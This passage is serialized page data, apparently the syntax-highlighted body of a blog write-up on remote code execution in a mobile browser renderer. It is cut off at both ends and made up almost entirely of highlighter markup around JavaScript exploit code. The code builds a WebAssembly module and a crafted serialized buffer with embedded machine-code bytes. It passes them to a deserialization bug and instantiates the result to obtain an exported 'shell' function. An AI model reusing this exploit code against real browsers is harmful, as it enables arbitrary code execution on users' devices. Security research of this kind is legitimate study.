']');\n})();\n",[135798],{"type":23,"tag":94,"props":135799,"children":135800},{"__ignoreMap":7},[135801,135824,135852,136071,136138,136145,136188,136231,136270,136277,136285,136345,136357,136364,136371,136402,136445,136472,136479,136515,136578],{"type":23,"tag":314,"props":135802,"children":135803},{"class":316,"line":317},[135804,135808,135812,135816,135820],{"type":23,"tag":314,"props":135805,"children":135806},{"style":338},[135807],{"type":28,"value":341},{"type":23,"tag":314,"props":135809,"children":135810},{"style":321},[135811],{"type":28,"value":35394},{"type":23,"tag":314,"props":135813,"children":135814},{"style":338},[135815],{"type":28,"value":38944},{"type":23,"tag":314,"props":135817,"children":135818},{"style":321},[135819],{"type":28,"value":14064},{"type":23,"tag":314,"props":135821,"children":135822},{"style":338},[135823],{"type":28,"value":1449},{"type":23,"tag":314,"props":135825,"children":135826},{"class":316,"line":370},[135827,135832,135836,135840,135844,135848],{"type":23,"tag":314,"props":135828,"children":135829},{"style":321},[135830],{"type":28,"value":135831}," var",{"type":23,"tag":314,"props":135833,"children":135834},{"style":360},[135835],{"type":28,"value":132704},{"type":23,"tag":314,"props":135837,"children":135838},{"style":354},[135839],{"type":28,"value":1237},{"type":23,"tag":314,"props":135841,"children":135842},{"style":321},[135843],{"type":28,"value":31180},{"type":23,"tag":314,"props":135845,"children":135846},{"style":332},[135847],{"type":28,"value":132717},{"type":23,"tag":314,"props":135849,"children":135850},{"style":338},[135851],{"type":28,"value":132722},{"type":23,"tag":314,"props":135853,"children":135854},{"class":316,"line":380},[135855,135859,135863,135867,135871,135875,135879,135883,135887,135891,135895,135899,135903,135907,135911,135915,135919,135923,135927,135931,135935,135939,135943,135947,135951,135955,135959,135963,135967,135971,135975,135979,135983,135987,135991,135995,135999,136003,136007,136011,136015,136019,136023,136027,136031,136035,136039,136043,136047,136051,136055,136059,136063,136067],{"type":23,"tag":314,"props":135856,"children":135857},{"style":1054},[135858],{"type":28,"value":133447},{"type":23,"tag":314,"props":135860,"children":135861},{"style":338},[135862],{"type":28,"value":778},{"type":23,"tag":314,"props":135864,"children":135865},{"style":1054},[135866],{"type":28,"value":132739},{"type":23,"tag":314,"props":135868,"children":135869},{"style":338},[135870],{"type":28,"value":778},{"type":23,"tag":314,"props":135872,"children":135873},{"style":1054},[135874],{"type":28,"value":132748},{"type":23,"tag":314,"props":135876,"children":135877},{"style":338},[135878],{"type":28,"value":778},{"type":23,"tag":314,"props":135880,"children":135881},{"style":1054},[135882],{"type":28,"value":132757},{"type":23,"tag":314,"props":135884,"children":135885},{"style":338},[135886],{"type":28,"value":778},{"type":23,"tag":314,"props":135888,"children":135889},{"style":1054},[135890],{"type":28,"value":3267},{"type":23,"tag":314,"props":135892,"children":135893},{"style":338},[135894],{"type":28,"value":778},{"type":23,"tag":314,"props":135896,"children":135897},{"style":1054},[135898],{"type":28,"value":1600},{"type":23,"tag":314,"props":135900,"children":135901},{"style":338},[135902],{"type":28,"value":778},{"type":23,"tag":314,"props":135904,"children":135905},{"style":1054},[135906],{"type":28,"value":1600},{"type":23,"tag":314,"props":135908,"children":135909},{"style":338},[135910],{"type":28,"value":778},{"type":23,"tag":314,"props":135912,"children":135913},{"style":1054},[135914],{"type":28,"value":1600},{"type":23,"tag":314,"props":135916,"children":135917},{"style":338},[135918],{"type":28,"value":778},{"type":23,"tag":314,"props":135920,"children":135921},{"style":1054},[135922],{"type":28,"value":3267},{"type":23,"tag":314,"props":135924,"children":135925},{"style":338},[135926],{"type":28,"value":778},{"type":23,"tag":314,"props":135928,"children":135929},{"style":1054},[135930],{"type":28,"value":1567},{"type":23,"tag":314,"props":135932,"children":135933},{"style":338},[135934],{"type":28,"value":778},{"type":23,"tag":314,"props":135936,"children":135937},{"style":1054},[135938],{"type":28,"value":3267},{"type":23,"tag":314,"props":135940,"children":135941},{"style":338},[135942],{"type":28,"value":778},{"type":23,"tag":314,"props":135944,"children":135945},{"style":1054},[135946],{"type":28,"value":132822},{"type":23,"tag":314,"props":135948,"children":135949},{"style":338},[135950],{"type":28,"value":778},{"type":23,"tag":314,"props":135952,"children":135953},{"style":1054},[135954],{"type":28,"value":1600},{"type":23,"tag":314,"props":135956,"children":135957},{"style":338},[135958],{"type":28,"value":778},{"type":23,"tag":314,"props":135960,"children":135961},{"style":1054},[135962],{"type":28,"value":1600},{"type":23,"tag":314,"props":135964,"children":135965},{"style":338},[135966],{"type":28,"value":778},{"type":23,"tag":314,"props":135968,"children":135969},{"style":1054},[135970],{"type":28,"value":16535},{"type":23,"tag":314,"props":135972,"children":135973},{"style":338},[135974],{"type":28,"value":778},{"type":23,"tag":314,"props":135976,"children":135977},{"style":1054},[135978],{"type":28,"value":2378},{"type":23,"tag":314,"props":135980,"children":135981},{"style":338},[135982],{"type":28,"value":778},{"type":23,"tag":314,"props":135984,"children":135985},{"style":1054},[135986],{"type":28,"value":3267},{"type":23,"tag":314,"props":135988,"children":135989},{"style":338},[135990],{"type":28,"value":778},{"type":23,"tag":314,"props":135992,"children":135993},{"style":1054},[135994],{"type":28,"value":1600},{"type":23,"tag":314,"props":135996,"children":135997},{"style":338},[135998],{"type":28,"value":778},{"type":23,"tag":314,"props":136000,"children":136001},{"style":1054},[136002],{"type":28,"value":53922},{"type":23,"tag":314,"props":136004,"children":136005},{"style":338},[136006],{"type":28,"value":778},{"type":23,"tag":314,"props":136008,"children":136009},{"style":1054},[136010],{"type":28,"value":55136},{"type":23,"tag":314,"props":136012,"children":136013},{"style":338},[136014],{"type":28,"value":778},{"type":23,"tag":314,"props":136016,"children":136017},{"style":1054},[136018],{"type":28,"value":3267},{"type":23,"tag":314,"props":136020,"children":136021},{"style":338},[136022],{"type":28,"value":778},{"type":23,"tag":314,"props":136024,"children":136025},{"style":1054},[136026],{"type":28,"value":1317},{"type":23,"tag":314,"props":136028,"children":136029},{"style":338},[136030],{"type":28,"value":778},{"type":23,"tag":314,"props":136032,"children":136033},{"style":1054},[136034],{"type":28,"value":132748},{"type":23,"tag":314,"props":136036,"children":136037},{"style":338},[136038],{"type":28,"value":778},{"type":23,"tag":314,"props":136040,"children":136041},{"style":1054},[136042],{"type":28,"value":132919},{"type":23,"tag":314,"props":136044,"children":136045},{"style":338},[136046],{"type":28,"value":778},{"type":23,"tag":314,"props":136048,"children":136049},{"style":1054},[136050],{"type":28,"value":132928},{"type":23,"tag":314,"props":136052,"children":136053},{"style":338},[136054],{"type":28,"value":778},{"type":23,"tag":314,"props":136056,"children":136057},{"style":1054},[136058],{"type":28,"value":132937},{"type":23,"tag":314,"props":136060,"children":136061},{"style":338},[136062],{"type":28,"value":778},{"type":23,"tag":314,"props":136064,"children":136065},{"style":1054},[136066],{"type":28,"value":132937},{"type":23,"tag":314,"props":136068,"children":136069},{"style":338},[136070],{"type":28,"value":1870},{"type":23,"tag":314,"props":136072,"children":136073},{"class":316,"line":1091},[136074,136078,136082,136086,136090,136094,136098,136102,136106,136110,136114,136118,136122,136126,136130,136134],{"type":23,"tag":314,"props":136075,"children":136076},{"style":1054},[136077],{"type":28,"value":133447},{"type":23,"tag":314,"props":136079,"children":136080},{"style":338},[136081],{"type":28,"value":778},{"type":23,"tag":314,"props":136083,"children":136084},{"style":1054},[136085],{"type":28,"value":1600},{"type":23,"tag":314,"props":136087,"children":136088},{"style":338},[136089],{"type":28,"value":778},{"type":23,"tag":314,"props":136091,"children":136092},{"style":1054},[136093],{"type":28,"value":88505},{"type":23,"tag":314,"props":136095,"children":136096},{"style":338},[136097],{"type":28,"value":778},{"type":23,"tag":314,"props":136099,"children":136100},{"style":1054},[136101],{"type":28,"value":1567},{"type":23,"tag":314,"props":136103,"children":136104},{"style":338},[136105],{"type":28,"value":778},{"type":23,"tag":314,"props":136107,"children":136108},{"style":1054},[136109],{"type":28,"value":3267},{"type":23,"tag":314,"props":136111,"children":136112},{"style":338},[136113],{"type":28,"value":778},{"type":23,"tag":314,"props":136115,"children":136116},{"style":1054},[136117],{"type":28,"value":2378},{"type":23,"tag":314,"props":136119,"children":136120},{"style":338},[136121],{"type":28,"value":778},{"type":23,"tag":314,"props":136123,"children":136124},{"style":1054},[136125],{"type":28,"value":1600},{"type":23,"tag":314,"props":136127,"children":136128},{"style":338},[136129],{"type":28,"value":778},{"type":23,"tag":314,"props":136131,"children":136132},{"style":1054},[136133],{"type":28,"value":133013},{"type":23,"tag":314,"props":136135,"children":136136},{"style":338},[136137],{"type":28,"value":1870},{"type":23,"tag":314,"props":136139,"children":136140},{"class":316,"line":1141},[136141],{"type":23,"tag":314,"props":136142,"children":136143},{"style":338},[136144],{"type":28,"value":133734},{"type":23,"tag":314,"props":136146,"children":136147},{"class":316,"line":1173},[136148,136152,136156,136160,136164,136168,136172,136176,136180,136184],{"type":23,"tag":314,"props":136149,"children":136150},{"style":321},[136151],{"type":28,"value":135831},{"type":23,"tag":314,"props":136153,"children":136154},{"style":360},[136155],{"type":28,"value":70877},{"type":23,"tag":314,"props":136157,"children":136158},{"style":354},[136159],{"type":28,"value":1237},{"type":23,"tag":314,"props":136161,"children":136162},{"style":321},[136163],{"type":28,"value":31180},{"type":23,"tag":314,"props":136165,"children":136166},{"style":360},[136167],{"type":28,"value":133048},{"type":23,"tag":314,"props":136169,"children":136170},{"style":338},[136171],{"type":28,"value":282},{"type":23,"tag":314,"props":136173,"children":136174},{"style":332},[136175],{"type":28,"value":85171},{"type":23,"tag":314,"props":136177,"children":136178},{"style":338},[136179],{"type":28,"value":341},{"type":23,"tag":314,"props":136181,"children":136182},{"style":360},[136183],{"type":28,"value":133065},{"type":23,"tag":314,"props":136185,"children":136186},{"style":338},[136187],{"type":28,"value":1025},{"type":23,"tag":314,"props":136189,"children":136190},{"class":316,"line":1208},[136191,136195,136199,136203,136207,136211,136215,136219,136223,136227],{"type":23,"tag":314,"props":136192,"children":136193},{"style":321},[136194],{"type":28,"value":135831},{"type":23,"tag":314,"props":136196,"children":136197},{"style":360},[136198],{"type":28,"value":133081},{"type":23,"tag":314,"props":136200,"children":136201},{"style":354},[136202],{"type":28,"value":1237},{"type":23,"tag":314,"props":136204,"children":136205},{"style":321},[136206],{"type":28,"value":31180},{"type":23,"tag":314,"props":136208,"children":136209},{"style":360},[136210],{"type":28,"value":133048},{"type":23,"tag":314,"props":136212,"children":136213},{"style":338},[136214],{"type":28,"value":282},{"type":23,"tag":314,"props":136216,"children":136217},{"style":332},[136218],{"type":28,"value":133102},{"type":23,"tag":314,"props":136220,"children":136221},{"style":338},[136222],{"type":28,"value":341},{"type":23,"tag":314,"props":136224,"children":136225},{"style":360},[136226],{"type":28,"value":133111},{"type":23,"tag":314,"props":136228,"children":136229},{"style":338},[136230],{"type":28,"value":1025},{"type":23,"tag":314,"props":136232,"children":136233},{"class":316,"line":1216},[136234,136238,136242,136246,136250,136254,136258,136262,136266],{"type":23,"tag":314,"props":136235,"children":136236},{"style":321},[136237],{"type":28,"value":135831},{"type":23,"tag":314,"props":136239,"children":136240},{"style":360},[136241],{"type":28,"value":79261},{"type":23,"tag":314,"props":136243,"children":136244},{"style":354},[136245],{"type":28,"value":1237},{"type":23,"tag":314,"props":136247,"children":136248},{"style":360},[136249],{"type":28,"value":133081},{"type":23,"tag":314,"props":136251,"children":136252},{"style":338},[136253],{"type":28,"value":282},{"type":23,"tag":314,"props":136255,"children":136256},{"style":360},[136257],{"type":28,"value":37135},{"type":23,"tag":314,"props":136259,"children":136260},{"style":338},[136261],{"type":28,"value":282},{"type":23,"tag":314,"props":136263,"children":136264},{"style":360},[136265],{"type":28,"value":133151},{"type":23,"tag":314,"props":136267,"children":136268},{"style":338},[136269],{"type":28,"value":2278},{"type":23,"tag":314,"props":136271,"children":136272},{"class":316,"line":1301},[136273],{"type":23,"tag":314,"props":136274,"children":136275},{"emptyLinePlaceholder":18},[136276],{"type":28,"value":1088},{"type":23,"tag":314,"props":136278,"children":136279},{"class":316,"line":1343},[136280],{"type":23,"tag":314,"props":136281,"children":136282},{"style":374},[136283],{"type":28,"value":136284}," // %WasmTierUpFunction(func);\n",{"type":23,"tag":314,"props":136286,"children":136287},{"class":316,"line":1351},[136288,136293,136297,136301,136305,136309,136313,136317,136321,136325,136329,136333,136337,136341],{"type":23,"tag":314,"props":136289,"children":136290},{"style":2284},[136291],{"type":28,"value":136292}," for",{"type":23,"tag":314,"props":136294,"children":136295},{"style":338},[136296],{"type":28,"value":2324},{"type":23,"tag":314,"props":136298,"children":136299},{"style":321},[136300],{"type":28,"value":11035},{"type":23,"tag":314,"props":136302,"children":136303},{"style":360},[136304],{"type":28,"value":2653},{"type":23,"tag":314,"props":136306,"children":136307},{"style":354},[136308],{"type":28,"value":1237},{"type":23,"tag":314,"props":136310,"children":136311},{"style":1054},[136312],{"type":28,"value":1201},{"type":23,"tag":314,"props":136314,"children":136315},{"style":338},[136316],{"type":28,"value":16466},{"type":23,"tag":314,"props":136318,"children":136319},{"style":360},[136320],{"type":28,"value":2993},{"type":23,"tag":314,"props":136322,"children":136323},{"style":354},[136324],{"type":28,"value":7971},{"type":23,"tag":314,"props":136326,"children":136327},{"style":1054},[136328],{"type":28,"value":135753},{"type":23,"tag":314,"props":136330,"children":136331},{"style":338},[136332],{"type":28,"value":16466},{"type":23,"tag":314,"props":136334,"children":136335},{"style":360},[136336],{"type":28,"value":2993},{"type":23,"tag":314,"props":136338,"children":136339},{"style":354},[136340],{"type":28,"value":50520},{"type":23,"tag":314,"props":136342,"children":136343},{"style":338},[136344],{"type":28,"value":367},{"type":23,"tag":314,"props":136346,"children":136347},{"class":316,"line":1387},[136348,136353],{"type":23,"tag":314,"props":136349,"children":136350},{"style":332},[136351],{"type":28,"value":136352}," func",{"type":23,"tag":314,"props":136354,"children":136355},{"style":338},[136356],{"type":28,"value":2926},{"type":23,"tag":314,"props":136358,"children":136359},{"class":316,"line":1422},[136360],{"type":23,"tag":314,"props":136361,"children":136362},{"style":338},[136363],{"type":28,"value":5126},{"type":23,"tag":314,"props":136365,"children":136366},{"class":316,"line":1430},[136367],{"type":23,"tag":314,"props":136368,"children":136369},{"emptyLinePlaceholder":18},[136370],{"type":28,"value":1088},{"type":23,"tag":314,"props":136372,"children":136373},{"class":316,"line":1452},[136374,136378,136382,136386,136390,136394,136398],{"type":23,"tag":314,"props":136375,"children":136376},{"style":321},[136377],{"type":28,"value":7110},{"type":23,"tag":314,"props":136379,"children":136380},{"style":360},[136381],{"type":28,"value":135187},{"type":23,"tag":314,"props":136383,"children":136384},{"style":354},[136385],{"type":28,"value":1237},{"type":23,"tag":314,"props":136387,"children":136388},{"style":332},[136389],{"type":28,"value":135196},{"type":23,"tag":314,"props":136391,"children":136392},{"style":338},[136393],{"type":28,"value":341},{"type":23,"tag":314,"props":136395,"children":136396},{"style":360},[136397],{"type":28,"value":133111},{"type":23,"tag":314,"props":136399,"children":136400},{"style":338},[136401],{"type":28,"value":1025},{"type":23,"tag":314,"props":136403,"children":136404},{"class":316,"line":1497},[136405,136409,136413,136417,136421,136425,136429,136433,136437,136441],{"type":23,"tag":314,"props":136406,"children":136407},{"style":360},[136408],{"type":28,"value":135232},{"type":23,"tag":314,"props":136410,"children":136411},{"style":354},[136412],{"type":28,"value":1237},{"type":23,"tag":314,"props":136414,"children":136415},{"style":338},[136416],{"type":28,"value":2324},{"type":23,"tag":314,"props":136418,"children":136419},{"style":2284},[136420],{"type":28,"value":32164},{"type":23,"tag":314,"props":136422,"children":136423},{"style":360},[136424],{"type":28,"value":135187},{"type":23,"tag":314,"props":136426,"children":136427},{"style":338},[136428],{"type":28,"value":282},{"type":23,"tag":314,"props":136430,"children":136431},{"style":332},[136432],{"type":28,"value":56816},{"type":23,"tag":314,"props":136434,"children":136435},{"style":338},[136436],{"type":28,"value":135261},{"type":23,"tag":314,"props":136438,"children":136439},{"style":360},[136440],{"type":28,"value":38399},{"type":23,"tag":314,"props":136442,"children":136443},{"style":338},[136444],{"type":28,"value":2278},{"type":23,"tag":314,"props":136446,"children":136447},{"class":316,"line":1539},[136448,136452,136456,136460,136464,136468],{"type":23,"tag":314,"props":136449,"children":136450},{"style":360},[136451],{"type":28,"value":101196},{"type":23,"tag":314,"props":136453,"children":136454},{"style":338},[136455],{"type":28,"value":282},{"type":23,"tag":314,"props":136457,"children":136458},{"style":332},[136459],{"type":28,"value":101205},{"type":23,"tag":314,"props":136461,"children":136462},{"style":338},[136463],{"type":28,"value":341},{"type":23,"tag":314,"props":136465,"children":136466},{"style":360},[136467],{"type":28,"value":8333},{"type":23,"tag":314,"props":136469,"children":136470},{"style":338},[136471],{"type":28,"value":1025},{"type":23,"tag":314,"props":136473,"children":136474},{"class":316,"line":1548},[136475],{"type":23,"tag":314,"props":136476,"children":136477},{"emptyLinePlaceholder":18},[136478],{"type":28,"value":1088},{"type":23,"tag":314,"props":136480,"children":136481},{"class":316,"line":1584},[136482,136486,136491,136495,136499,136503,136507,136511],{"type":23,"tag":314,"props":136483,"children":136484},{"style":321},[136485],{"type":28,"value":7110},{"type":23,"tag":314,"props":136487,"children":136488},{"style":360},[136489],{"type":28,"value":136490}," result_bytes",{"type":23,"tag":314,"props":136492,"children":136493},{"style":354},[136494],{"type":28,"value":1237},{"type":23,"tag":314,"props":136496,"children":136497},{"style":321},[136498],{"type":28,"value":31180},{"type":23,"tag":314,"props":136500,"children":136501},{"style":332},[136502],{"type":28,"value":132717},{"type":23,"tag":314,"props":136504,"children":136505},{"style":338},[136506],{"type":28,"value":341},{"type":23,"tag":314,"props":136508,"children":136509},{"style":360},[136510],{"type":28,"value":8333},{"type":23,"tag":314,"props":136512,"children":136513},{"style":338},[136514],{"type":28,"value":1025},{"type":23,"tag":314,"props":136516,"children":136517},{"class":316,"line":1617},[136518,136522,136526,136530,136534,136538,136542,136546,136550,136554,136558,136562,136566,136570,136574],{"type":23,"tag":314,"props":136519,"children":136520},{"style":360},[136521],{"type":28,"value":101196},{"type":23,"tag":314,"props":136523,"children":136524},{"style":338},[136525],{"type":28,"value":282},{"type":23,"tag":314,"props":136527,"children":136528},{"style":332},[136529],{"type":28,"value":101205},{"type":23,"tag":314,"props":136531,"children":136532},{"style":338},[136533],{"type":28,"value":341},{"type":23,"tag":314,"props":136535,"children":136536},{"style":1245},[136537],{"type":28,"value":133284},{"type":23,"tag":314,"props":136539,"children":136540},{"style":354},[136541],{"type":28,"value":1572},{"type":23,"tag":314,"props":136543,"children":136544},{"style":360},[136545],{"type":28,"value":136490},{"type":23,"tag":314,"props":136547,"children":136548},{"style":338},[136549],{"type":28,"value":282},{"type":23,"tag":314,"props":136551,"children":136552},{"style":332},[136553],{"type":28,"value":133301},{"type":23,"tag":314,"props":136555,"children":136556},{"style":338},[136557],{"type":28,"value":341},{"type":23,"tag":314,"props":136559,"children":136560},{"style":1245},[136561],{"type":28,"value":133310},{"type":23,"tag":314,"props":136563,"children":136564},{"style":338},[136565],{"type":28,"value":2343},{"type":23,"tag":314,"props":136567,"children":136568},{"style":354},[136569],{"type":28,"value":1130},{"type":23,"tag":314,"props":136571,"children":136572},{"style":1245},[136573],{"type":28,"value":133323},{"type":23,"tag":314,"props":136575,"children":136576},{"style":338},[136577],{"type":28,"value":1025},{"type":23,"tag":314,"props":136579,"children":136580},{"class":316,"line":1625},[136581],{"type":23,"tag":314,"props":136582,"children":136583},{"style":338},[136584],{"type":28,"value":101237},{"type":23,"tag":24,"props":136586,"children":136587},{},[136588],{"type":28,"value":136589},"We get the serialized bytes:",{"type":23,"tag":24,"props":136591,"children":136592},{},[136593],{"type":23,"tag":197,"props":136594,"children":136597},{"alt":136595,"src":136596},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":23,"tag":24,"props":136599,"children":136600},{},[136601,136603,136608],{"type":28,"value":136602},"We can now embed this output into the original bytecode that calls ",{"type":23,"tag":94,"props":136604,"children":136606},{"className":136605},[],[136607],{"type":28,"value":132180},{"type":28,"value":3746},{"type":23,"tag":304,"props":136610,"children":136612},{"code":136611,"language":34864,"meta":7,"className":34862,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n 0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n 213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n 255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 92, 50, 162, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n console.log('DeserializeWasmModule result: ' + result);\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n console.log(f);\n})();\n",[136613],{"type":23,"tag":94,"props":136614,"children":136615},{"__ignoreMap":7},[136616,136639,136666,136885,136952,136959,136986,137197,137448,137699,137923,138105,138326,138404,138411,138458,138501,138537,138580,138619,138646],{"type":23,"tag":314,"props":136617,"children":136618},{"class":316,"line":317},[136619,136623,136627,136631,136635],{"type":23,"tag":314,"props":136620,"children":136621},{"style":338},[136622],{"type":28,"value":341},{"type":23,"tag":314,"props":136624,"children":136625},{"style":321},[136626],{"type":28,"value":35394},{"type":23,"tag":314,"props":136628,"children":136629},{"style":338},[136630],{"type":28,"value":38944},{"type":23,"tag":314,"props":136632,"children":136633},{"style":321},[136634],{"type":28,"value":14064},{"type":23,"tag":314,"props":136636,"children":136637},{"style":338},[136638],{"type":28,"value":1449},{"type":23,"tag":314,"props":136640,"children":136641},{"class":316,"line":370},[136642,136646,136650,136654,136658,136662],{"type":23,"tag":314,"props":136643,"children":136644},{"style":321},[136645],{"type":28,"value":35437},{"type":23,"tag":314,"props":136647,"children":136648},{"style":360},[136649],{"type":28,"value":132704},{"type":23,"tag":314,"props":136651,"children":136652},{"style":354},[136653],{"type":28,"value":1237},{"type":23,"tag":314,"props":136655,"children":136656},{"style":321},[136657],{"type":28,"value":31180},{"type":23,"tag":314,"props":136659,"children":136660},{"style":332},[136661],{"type":28,"value":132717},{"type":23,"tag":314,"props":136663,"children":136664},{"style":338},[136665],{"type":28,"value":132722},{"type":23,"tag":314,"props":136667,"children":136668},{"class":316,"line":380},[136669,136673,136677,136681,136685,136689,136693,136697,136701,136705,136709,136713,136717,136721,136725,136729,136733,136737,136741,136745,136749,136753,136757,136761,136765,136769,136773,136777,136781,136785,136789,136793,136797,136801,136805,136809,136813,136817,136821,136825,136829,136833,136837,136841,136845,136849,136853,136857,136861,136865,136869,136873,136877,136881],{"type":23,"tag":314,"props":136670,"children":136671},{"style":1054},[136672],{"type":28,"value":133447},{"type":23,"tag":314,"props":136674,"children":136675},{"style":338},[136676],{"type":28,"value":778},{"type":23,"tag":314,"props":136678,"children":136679},{"style":1054},[136680],{"type":28,"value":132739},{"type":23,"tag":314,"props":136682,"children":136683},{"style":338},[136684],{"type":28,"value":778},{"type":23,"tag":314,"props":136686,"children":136687},{"style":1054},[136688],{"type":28,"value":132748},{"type":23,"tag":314,"props":136690,"children":136691},{"style":338},[136692],{"type":28,"value":778},{"type":23,"tag":314,"props":136694,"children":136695},{"style":1054},[136696],{"type":28,"value":132757},{"type":23,"tag":314,"props":136698,"children":136699},{"style":338},[136700],{"type":28,"value":778},{"type":23,"tag":314,"props":136702,"children":136703},{"style":1054},[136704],{"type":28,"value":3267},{"type":23,"tag":314,"props":136706,"children":136707},{"style":338},[136708],{"type":28,"value":778},{"type":23,"tag":314,"props":136710,"children":136711},{"style":1054},[136712],{"type":28,"value":1600},{"type":23,"tag":314,"props":136714,"children":136715},{"style":338},[136716],{"type":28,"value":778},{"type":23,"tag":314,"props":136718,"children":136719},{"style":1054},[136720],{"type":28,"value":1600},{"type":23,"tag":314,"props":136722,"children":136723},{"style":338},[136724],{"type":28,"value":778},{"type":23,"tag":314,"props":136726,"children":136727},{"style":1054},[136728],{"type":28,"value":1600},{"type":23,"tag":314,"props":136730,"children":136731},{"style":338},[136732],{"type":28,"value":778},{"type":23,"tag":314,"props":136734,"children":136735},{"style":1054},[136736],{"type":28,"value":3267},{"type":23,"tag":314,"props":136738,"children":136739},{"style":338},[136740],{"type":28,"value":778},{"type":23,"tag":314,"props":136742,"children":136743},{"style":1054},[136744],{"type":28,"value":1567},{"type":23,"tag":314,"props":136746,"children":136747},{"style":338},[136748],{"type":28,"value":778},{"type":23,"tag":314,"props":136750,"children":136751},{"style":1054},[136752],{"type":28,"value":3267},{"type":23,"tag":314,"props":136754,"children":136755},{"style":338},[136756],{"type":28,"value":778},{"type":23,"tag":314,"props":136758,"children":136759},{"style":1054},[136760],{"type":28,"value":132822},{"type":23,"tag":314,"props":136762,"children":136763},{"style":338},[136764],{"type":28,"value":778},{"type":23,"tag":314,"props":136766,"children":136767},{"style":1054},[136768],{"type":28,"value":1600},{"type":23,"tag":314,"props":136770,"children":136771},{"style":338},[136772],{"type":28,"value":778},{"type":23,"tag":314,"props":136774,"children":136775},{"style":1054},[136776],{"type":28,"value":1600},{"type":23,"tag":314,"props":136778,"children":136779},{"style":338},[136780],{"type":28,"value":778},{"type":23,"tag":314,"props":136782,"children":136783},{"style":1054},[136784],{"type":28,"value":16535},{"type":23,"tag":314,"props":136786,"children":136787},{"style":338},[136788],{"type":28,"value":778},{"type":23,"tag":314,"props":136790,"children":136791},{"style":1054},[136792],{"type":28,"value":2378},{"type":23,"tag":314,"props":136794,"children":136795},{"style":338},[136796],{"type":28,"value":778},{"type":23,"tag":314,"props":136798,"children":136799},{"style":1054},[136800],{"type":28,"value":3267},{"type":23,"tag":314,"props":136802,"children":136803},{"style":338},[136804],{"type":28,"value":778},{"type":23,"tag":314,"props":136806,"children":136807},{"style":1054},[136808],{"type":28,"value":1600},{"type":23,"tag":314,"props":136810,"children":136811},{"style":338},[136812],{"type":28,"value":778},{"type":23,"tag":314,"props":136814,"children":136815},{"style":1054},[136816],{"type":28,"value":53922},{"type":23,"tag":314,"props":136818,"children":136819},{"style":338},[136820],{"type":28,"value":778},{"type":23,"tag":314,"props":136822,"children":136823},{"style":1054},[136824],{"type":28,"value":55136},{"type":23,"tag":314,"props":136826,"children":136827},{"style":338},[136828],{"type":28,"value":778},{"type":23,"tag":314,"props":136830,"children":136831},{"style":1054},[136832],{"type":28,"value":3267},{"type":23,"tag":314,"props":136834,"children":136835},{"style":338},[136836],{"type":28,"value":778},{"type":23,"tag":314,"props":136838,"children":136839},{"style":1054},[136840],{"type":28,"value":1317},{"type":23,"tag":314,"props":136842,"children":136843},{"style":338},[136844],{"type":28,"value":778},{"type":23,"tag":314,"props":136846,"children":136847},{"style":1054},[136848],{"type":28,"value":132748},{"type":23,"tag":314,"props":136850,"children":136851},{"style":338},[136852],{"type":28,"value":778},{"type":23,"tag":314,"props":136854,"children":136855},{"style":1054},[136856],{"type":28,"value":132919},{"type":23,"tag":314,"props":136858,"children":136859},{"style":338},[136860],{"type":28,"value":778},{"type":23,"tag":314,"props":136862,"children":136863},{"style":1054},[136864],{"type":28,"value":132928},{"type":23,"tag":314,"props":136866,"children":136867},{"style":338},[136868],{"type":28,"value":778},{"type":23,"tag":314,"props":136870,"children":136871},{"style":1054},[136872],{"type":28,"value":132937},{"type":23,"tag":314,"props":136874,"children":136875},{"style":338},[136876],{"type":28,"value":778},{"type":23,"tag":314,"props":136878,"children":136879},{"style":1054},[136880],{"type":28,"value":132937},{"type":23,"tag":314,"props":136882,"children":136883},{"style":338},[136884],{"type":28,"value":1870},{"type":23,"tag":314,"props":136886,"children":136887},{"class":316,"line":1091},[136888,136892,136896,136900,136904,136908,136912,136916,136920,136924,136928,136932,136936,136940,136944,136948],{"type":23,"tag":314,"props":136889,"children":136890},{"style":1054},[136891],{"type":28,"value":133447},{"type":23,"tag":314,"props":136893,"children":136894},{"style":338},[136895],{"type":28,"value":778},{"type":23,"tag":314,"props":136897,"children":136898},{"style":1054},[136899],{"type":28,"value":1600},{"type":23,"tag":314,"props":136901,"children":136902},{"style":338},[136903],{"type":28,"value":778},{"type":23,"tag":314,"props":136905,"children":136906},{"style":1054},[136907],{"type":28,"value":88505},{"type":23,"tag":314,"props":136909,"children":136910},{"style":338},[136911],{"type":28,"value":778},{"type":23,"tag":314,"props":136913,"children":136914},{"style":1054},[136915],{"type":28,"value":1567},{"type":23,"tag":314,"props":136917,"children":136918},{"style":338},[136919],{"type":28,"value":778},{"type":23,"tag":314,"props":136921,"children":136922},{"style":1054},[136923],{"type":28,"value":3267},{"type":23,"tag":314,"props":136925,"children":136926},{"style":338},[136927],{"type":28,"value":778},{"type":23,"tag":314,"props":136929,"children":136930},{"style":1054},[136931],{"type":28,"value":2378},{"type":23,"tag":314,"props":136933,"children":136934},{"style":338},[136935],{"type":28,"value":778},{"type":23,"tag":314,"props":136937,"children":136938},{"style":1054},[136939],{"type":28,"value":1600},{"type":23,"tag":314,"props":136941,"children":136942},{"style":338},[136943],{"type":28,"value":778},{"type":23,"tag":314,"props":136945,"children":136946},{"style":1